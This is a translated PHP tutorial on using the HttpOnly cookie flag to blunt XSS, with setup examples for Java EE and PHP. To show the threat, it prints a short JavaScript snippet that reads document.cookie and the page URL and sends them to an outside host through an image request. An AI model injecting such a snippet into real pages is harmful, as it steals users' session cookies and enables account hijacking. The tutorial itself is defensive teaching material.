PHP uses httponly to prevent XSS attacks-PHP Tutorial-php.cn

PHP uses httponly to prevent XSS attacks

怪我咯

Release： 2023-03-13 18:36:01

Original

2221 people have browsed it

What is HttpOnly?

If you set the HttpOnly attribute in cookie, the cookie information will not be read through the js script. This is effective To prevent XSS attacks, please search on google for a more specific introduction
Does the API of javaEE support it?

Currently, Sun has not announced the relevant API, but it has been implemented in PHP and C#. Brothers who are engaged in javaEE are quite depressed, don’t worry, there are workarounds below

3.HttpOnly setting example

javaEE
response.setHeader("Set-Cookie", "cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

Copy after login

This article mainly introduces the use of httponly in php for xss defense To prevent xss attacks, the following is how to set HttpOnly in PHP. Friends who need it can refer to

Needless to say, the concept of xss is extremely harmful, which means that once your website appears XSS vulnerability can execute arbitrary JS code. The most terrifying thing is that attackers use JS to obtain

cookie or session hijack. If it contains a large amount of sensitive information (identity information, management (member information) etc., that’s it. . .

The following js is used to obtain cookie information:

The code is as follows:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=&#39;http://www.test.com/c.php?c=&#39;+cookie+&#39;&u=&#39;+url;

Copy after login

Generally cookies are obtained from the document

object, and now the browser is setting Cookies generally accept a parameter called HttpOnly, just like domain and other parameters. Once this HttpOnly is set, you will not see the cookie in the browser's document object.

PHP settings HttpOnly:

//在php.ini中，session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

Copy after login

For PHP versions prior to PHP5.1 passed:

header("Set-Cookie: hidden=value; httpOnly");

Copy after login

Finally, HttpOnly is not a panacea!

The above is the detailed content of PHP uses httponly to prevent XSS attacks. For more information, please follow other related articles on the PHP Chinese website!